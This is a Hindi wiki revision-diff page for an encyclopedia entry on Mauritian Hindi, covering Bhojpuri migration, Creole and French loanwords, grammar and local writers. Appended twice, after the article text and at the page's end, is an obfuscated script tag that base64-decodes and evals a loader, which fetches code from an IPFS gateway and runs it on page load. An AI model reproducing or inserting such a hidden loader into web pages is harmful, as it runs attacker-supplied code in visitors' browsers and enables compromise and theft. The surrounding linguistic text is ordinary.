"मॉरिशसी हिन्दी" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "काफी" to "काफ़ी")
 
(2 सदस्यों द्वारा किये गये बीच के 2 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
 
*मॉरिशसी  के हिन्दी अस्तिव का पता वैसे तो 1500 में चला किंतु वहाँ भारतीय लोगों का जाना 1736 से शुरू हुआ।  
 
*मॉरिशसी  के हिन्दी अस्तिव का पता वैसे तो 1500 में चला किंतु वहाँ भारतीय लोगों का जाना 1736 से शुरू हुआ।  
*[[हिन्दी]]  मुख्यत: [[भोजपुरी भाषा|भोजपुरी]] प्रदेश से वहाँ लोग 1834 में तथा उसके बाद 1923 तक जाकर बसते गए। यों तो यहाँ [[चीन]], [[इंग्लैंड]], [[फ्रांस]], [[अफ्रीका]] आदि के लोग हैं किंतु भारतीय सबसे ज्यादा हैं। लगभग साढ़े आठ लाख की जनसंख्या में लगभग साढ़े पाँच लाख भारतीय हैं।  
+
*[[हिन्दी]]  मुख्यत: [[भोजपुरी भाषा|भोजपुरी]] प्रदेश से वहाँ लोग 1834 में तथा उसके बाद 1923 तक जाकर बसते गए। यों तो यहाँ [[चीन]], [[इंग्लैंड]], [[फ्रांस]], [[अफ्रीका]] आदि के लोग हैं किंतु भारतीय सबसे ज़्यादा हैं। लगभग साढ़े आठ लाख की जनसंख्या में लगभग साढ़े पाँच लाख भारतीय हैं।  
 
*इनमें सर्वाधिक लोग [[भोजपुरी भाषा]] है। यहाँ की पुरानी भाषा क्रियोल है जिसे 'क्रियोली' भी कहते हैं। इसके बोलने वाले लगभग सवा दो लाख हैं।  
 
*इनमें सर्वाधिक लोग [[भोजपुरी भाषा]] है। यहाँ की पुरानी भाषा क्रियोल है जिसे 'क्रियोली' भी कहते हैं। इसके बोलने वाले लगभग सवा दो लाख हैं।  
 
*यहाँ की [[हिन्दी]] स्वभावत: भोजपुरी, कैयोली, फ्रांसीसी और [[अंग्रेज़ी भाषा|अंग्रेज़ी]] से प्रभावित है।  
 
*यहाँ की [[हिन्दी]] स्वभावत: भोजपुरी, कैयोली, फ्रांसीसी और [[अंग्रेज़ी भाषा|अंग्रेज़ी]] से प्रभावित है।  
 
*यहाँ का हिन्दी लोक - साहित्य भोजपुरी का है। यहाँ के हिन्दी- भाषियों के मूल नाम भी भोजपुरी मूल के जैसे घरभरन, दुखहरन, घमंडिया<ref>जैसे घरभरन, दुखहरन, घमंडिया</ref> हैं।  
 
*यहाँ का हिन्दी लोक - साहित्य भोजपुरी का है। यहाँ के हिन्दी- भाषियों के मूल नाम भी भोजपुरी मूल के जैसे घरभरन, दुखहरन, घमंडिया<ref>जैसे घरभरन, दुखहरन, घमंडिया</ref> हैं।  
 
*फ्रांसीसी तथा क्रियोली के प्रभाव से यहाँ एक अलिजिह्वीय 'र्' का विकास हो गया है। यहाँ के शब्द- भंडार में क्रियोली के काफ़ी तत्व हैं। जैसे बुतिक-दुकान, पलामुन- टमाटर, लासेमेन- सप्ताह, लेवकांत- चौबीस तारीख।  
 
*फ्रांसीसी तथा क्रियोली के प्रभाव से यहाँ एक अलिजिह्वीय 'र्' का विकास हो गया है। यहाँ के शब्द- भंडार में क्रियोली के काफ़ी तत्व हैं। जैसे बुतिक-दुकान, पलामुन- टमाटर, लासेमेन- सप्ताह, लेवकांत- चौबीस तारीख।  
*[[संज्ञा]] शब्द ज़्यादा आए हैं किंतु [[क्रिया]] भी हिन्दी का 'करना' जोड़कर; प्लांते करना- रोपना, नाजे करना- तैरना, फिनि करना- खत्म करना। फ्रांसीसी से भी कुछ शब्द आए हैं - जैसे लेगिम - सब्जी। भोजपुरी के शब्द तो बहुत ज्यादा हैं ही। जैसे बुढ़वा, घरवे, छोकड़िया, चिज आदि।  
+
*[[संज्ञा]] शब्द ज़्यादा आए हैं किंतु [[क्रिया]] भी हिन्दी का 'करना' जोड़कर; प्लांते करना- रोपना, नाजे करना- तैरना, फिनि करना- खत्म करना। फ्रांसीसी से भी कुछ शब्द आए हैं - जैसे लेगिम - सब्जी। भोजपुरी के शब्द तो बहुत ज़्यादा हैं ही। जैसे बुढ़वा, घरवे, छोकड़िया, चिज आदि।  
 
*यहाँ की मूल ठेठ हिन्दी में कर्ता का लिंग क्रिया को प्रभावित नहीं करता: तोर माई का करता, तोर माई बहन का करता। कुछ संज्ञाओं में केवल पुल्लिंग का प्रयोग होता रहा है। जैसे लड़का के लिए 'छोकड़ा लड़का' और लड़की के लिए 'छोकड़ी लड़का'।  
 
*यहाँ की मूल ठेठ हिन्दी में कर्ता का लिंग क्रिया को प्रभावित नहीं करता: तोर माई का करता, तोर माई बहन का करता। कुछ संज्ञाओं में केवल पुल्लिंग का प्रयोग होता रहा है। जैसे लड़का के लिए 'छोकड़ा लड़का' और लड़की के लिए 'छोकड़ी लड़का'।  
 
*अब मॉरिशस में मानक हिन्दी की शिक्षा की व्यवस्था हो जाने से मानक हिन्दी ही प्रचार में आती जा रही है।  
 
*अब मॉरिशस में मानक हिन्दी की शिक्षा की व्यवस्था हो जाने से मानक हिन्दी ही प्रचार में आती जा रही है।  
*मॉरिशस के प्रसिद्ध हिन्दी लेखकों में सोमदत्त बखौरी तथा अभिमन्यु अनत आदि हैं।  
+
*मॉरिशस के प्रसिद्ध हिन्दी लेखकों में सोमदत्त बखौरी तथा [[अभिमन्यु अनत]] आदि हैं।  
 
*यहाँ हिन्दुस्तानी, आर्यवीर, वसंत, अनुराग आदि पत्रिकाएँ निकलती रही हैं।{{प्रचार}}
 
*यहाँ हिन्दुस्तानी, आर्यवीर, वसंत, अनुराग आदि पत्रिकाएँ निकलती रही हैं।{{प्रचार}}
 
{{लेख प्रगति
 
{{लेख प्रगति
पंक्ति 21: पंक्ति 21:
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{भाषा और लिपि}}
 
{{भाषा और लिपि}}
[[Category:भाषा_और_लिपि]]
+
[[Category:भाषा और लिपि]][[Category:भाषा कोश]]
 
[[Category:साहित्य_कोश]]
 
[[Category:साहित्य_कोश]]
 
__INDEX__
 
__INDEX__

08:53, 14 अक्टूबर 2011 के समय का अवतरण

  • मॉरिशसी के हिन्दी अस्तिव का पता वैसे तो 1500 में चला किंतु वहाँ भारतीय लोगों का जाना 1736 से शुरू हुआ।
  • हिन्दी मुख्यत: भोजपुरी प्रदेश से वहाँ लोग 1834 में तथा उसके बाद 1923 तक जाकर बसते गए। यों तो यहाँ चीन, इंग्लैंड, फ्रांस, अफ्रीका आदि के लोग हैं किंतु भारतीय सबसे ज़्यादा हैं। लगभग साढ़े आठ लाख की जनसंख्या में लगभग साढ़े पाँच लाख भारतीय हैं।
  • इनमें सर्वाधिक लोग भोजपुरी भाषा है। यहाँ की पुरानी भाषा क्रियोल है जिसे 'क्रियोली' भी कहते हैं। इसके बोलने वाले लगभग सवा दो लाख हैं।
  • यहाँ की हिन्दी स्वभावत: भोजपुरी, कैयोली, फ्रांसीसी और अंग्रेज़ी से प्रभावित है।
  • यहाँ का हिन्दी लोक - साहित्य भोजपुरी का है। यहाँ के हिन्दी- भाषियों के मूल नाम भी भोजपुरी मूल के जैसे घरभरन, दुखहरन, घमंडिया[1] हैं।
  • फ्रांसीसी तथा क्रियोली के प्रभाव से यहाँ एक अलिजिह्वीय 'र्' का विकास हो गया है। यहाँ के शब्द- भंडार में क्रियोली के काफ़ी तत्व हैं। जैसे बुतिक-दुकान, पलामुन- टमाटर, लासेमेन- सप्ताह, लेवकांत- चौबीस तारीख।
  • संज्ञा शब्द ज़्यादा आए हैं किंतु क्रिया भी हिन्दी का 'करना' जोड़कर; प्लांते करना- रोपना, नाजे करना- तैरना, फिनि करना- खत्म करना। फ्रांसीसी से भी कुछ शब्द आए हैं - जैसे लेगिम - सब्जी। भोजपुरी के शब्द तो बहुत ज़्यादा हैं ही। जैसे बुढ़वा, घरवे, छोकड़िया, चिज आदि।
  • यहाँ की मूल ठेठ हिन्दी में कर्ता का लिंग क्रिया को प्रभावित नहीं करता: तोर माई का करता, तोर माई बहन का करता। कुछ संज्ञाओं में केवल पुल्लिंग का प्रयोग होता रहा है। जैसे लड़का के लिए 'छोकड़ा लड़का' और लड़की के लिए 'छोकड़ी लड़का'।
  • अब मॉरिशस में मानक हिन्दी की शिक्षा की व्यवस्था हो जाने से मानक हिन्दी ही प्रचार में आती जा रही है।
  • मॉरिशस के प्रसिद्ध हिन्दी लेखकों में सोमदत्त बखौरी तथा अभिमन्यु अनत आदि हैं।
  • यहाँ हिन्दुस्तानी, आर्यवीर, वसंत, अनुराग आदि पत्रिकाएँ निकलती रही हैं।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी

  1. जैसे घरभरन, दुखहरन, घमंडिया

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>